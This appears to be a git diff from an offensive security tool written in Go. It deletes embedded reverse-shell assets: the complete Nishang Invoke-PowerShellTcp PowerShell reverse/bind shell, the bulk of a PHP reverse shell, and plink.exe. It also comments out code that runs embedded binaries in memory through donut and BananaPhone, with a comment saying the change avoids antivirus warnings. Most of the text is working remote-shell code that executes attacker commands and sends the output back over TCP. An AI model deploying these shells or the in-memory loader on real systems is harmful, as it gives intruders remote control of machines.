diff --git a/src/assets/embedded/Invoke-PowerShellTcp.ps1 b/src/assets/embedded/Invoke-PowerShellTcp.ps1 deleted file mode 100644 index a382cd9..0000000 --- a/src/assets/embedded/Invoke-PowerShellTcp.ps1 +++ /dev/null @@ -1,127 +0,0 @@ -function Invoke-PowerShellTcp -{ -<# -.SYNOPSIS -Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. - -.DESCRIPTION -This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. -Also, a standard netcat can connect to this script Bind to a specific port. - -The script is derived from Powerfun written by Ben Turner & Dave Hardy - -.PARAMETER IPAddress -The IP address to connect to when using the -Reverse switch. - -.PARAMETER Port -The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. - -.EXAMPLE -PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 - -Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on -the given IP and port. - -.EXAMPLE -PS > Invoke-PowerShellTcp -Bind -Port 4444 - -Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. - -.EXAMPLE -PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 - -Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be -listening on the given IP and port. - -.LINK -http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html -https://github.com/nettitude/powershell/blob/master/powerfun.ps1 -https://github.com/samratashok/nishang -#> - [CmdletBinding(DefaultParameterSetName="reverse")] Param( - - [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] - [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] - [String] - $IPAddress, - - [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] - [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] - [Int] - $Port, - - [Parameter(ParameterSetName="reverse")] - [Switch] - $Reverse, - - [Parameter(ParameterSetName="bind")] - [Switch] - $Bind - - ) - - - try - { - #Connect back if the reverse switch is used. - if ($Reverse) - { - $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) - } - - #Bind to the provided port if Bind switch is used. - if ($Bind) - { - $listener = [System.Net.Sockets.TcpListener]$Port - $listener.start() - $client = $listener.AcceptTcpClient() - } - - $stream = $client.GetStream() - [byte[]]$bytes = 0..65535|%{0} - - #Send back current username and computername - $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") - $stream.Write($sendbytes,0,$sendbytes.Length) - - #Show an interactive PowerShell prompt - $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') - $stream.Write($sendbytes,0,$sendbytes.Length) - - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) - { - $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding - $data = $EncodedText.GetString($bytes,0, $i) - try - { - #Execute the command on the target. - $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) - } - catch - { - Write-Warning "Something went wrong with execution of command on the target." - Write-Error $_ - } - $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' - $x = ($error[0] | Out-String) - $error.clear() - $sendback2 = $sendback2 + $x - - #Return the results - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) - $stream.Write($sendbyte,0,$sendbyte.Length) - $stream.Flush() - } - $client.Close() - if ($listener) - { - $listener.Stop() - } - } - catch - { - Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." - Write-Error $_ - } -} - diff --git a/src/assets/embedded/php-reverse-shell.php b/src/assets/embedded/php-reverse-shell.php deleted file mode 100644 index 2503b71..0000000 --- a/src/assets/embedded/php-reverse-shell.php +++ /dev/null @@ -1,192 +0,0 @@ - array("pipe", "r"), // stdin is a pipe that the child will read from - 1 => array("pipe", "w"), // stdout is a pipe that the child will write to - 2 => array("pipe", "w") // stderr is a pipe that the child will write to -); - -$process = proc_open($shell, $descriptorspec, $pipes); - -if (!is_resource($process)) { - printit("ERROR: Can't spawn shell"); - exit(1); -} - -// Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't -stream_set_blocking($pipes[0], 0); -stream_set_blocking($pipes[1], 0); -stream_set_blocking($pipes[2], 0); -stream_set_blocking($sock, 0); - -printit("Successfully opened reverse shell to $ip:$port"); - -while (1) { - // Check for end of TCP connection - if (feof($sock)) { - printit("ERROR: Shell connection terminated"); - break; - } - - // Check for end of STDOUT - if (feof($pipes[1])) { - printit("ERROR: Shell process terminated"); - break; - } - - // Wait until a command is end down $sock, or some - // command output is available on STDOUT or STDERR - $read_a = array($sock, $pipes[1], $pipes[2]); - $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - - // If we can read from the TCP socket, send - // data to process's STDIN - if (in_array($sock, $read_a)) { - if ($debug) printit("SOCK READ"); - $input = fread($sock, $chunk_size); - if ($debug) printit("SOCK: $input"); - fwrite($pipes[0], $input); - } - - // If we can read from the process's STDOUT - // send data down tcp connection - if (in_array($pipes[1], $read_a)) { - if ($debug) printit("STDOUT READ"); - $input = fread($pipes[1], $chunk_size); - if ($debug) printit("STDOUT: $input"); - fwrite($sock, $input); - } - - // If we can read from the process's STDERR - // send data down tcp connection - if (in_array($pipes[2], $read_a)) { - if ($debug) printit("STDERR READ"); - $input = fread($pipes[2], $chunk_size); - if ($debug) printit("STDERR: $input"); - fwrite($sock, $input); - } -} - -fclose($sock); -fclose($pipes[0]); -fclose($pipes[1]); -fclose($pipes[2]); -proc_close($process); - -// Like print, but does nothing if we've daemonised ourself -// (I can't figure out how to redirect STDOUT like a proper daemon) -function printit ($string) { - if (!$daemon) { - print "$string\n"; - } -} - -?> - - - diff --git a/src/assets/embedded/plink.exe b/src/assets/embedded/plink.exe deleted file mode 100644 index beb91af..0000000 Binary files a/src/assets/embedded/plink.exe and /dev/null differ diff --git a/src/controllers/runEmbedded_windows.go b/src/controllers/runEmbedded_windows.go index f07ced3..93a0cb0 100644 --- a/src/controllers/runEmbedded_windows.go +++ b/src/controllers/runEmbedded_windows.go @@ -1,15 +1,5 @@ package controllers -import ( - "bytes" - "syscall" - "time" - "unsafe" - - "github.com/Binject/go-donut/donut" - bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" -) - func checkFatalErr(err error) { if err != nil { panic(err) @@ -26,7 +16,8 @@ func EmbeddedFiles() string { } func RunEmbeddedBinary(binary string, arguments string) { - binaryBytes := readEmbeddedBinary(binary) + // feature not used. Disable it to avoid AV warning + /*binaryBytes := readEmbeddedBinary(binary) argumentBinary := " " // trick use empty argument if no one is given if arguments != "" { argumentBinary = arguments @@ -109,5 +100,5 @@ func RunEmbeddedBinary(binary string, arguments string) { // bit of a hack because dunno how to wait for bananaphone background thread to complete... for { time.Sleep(1000000000) - } + }*/ }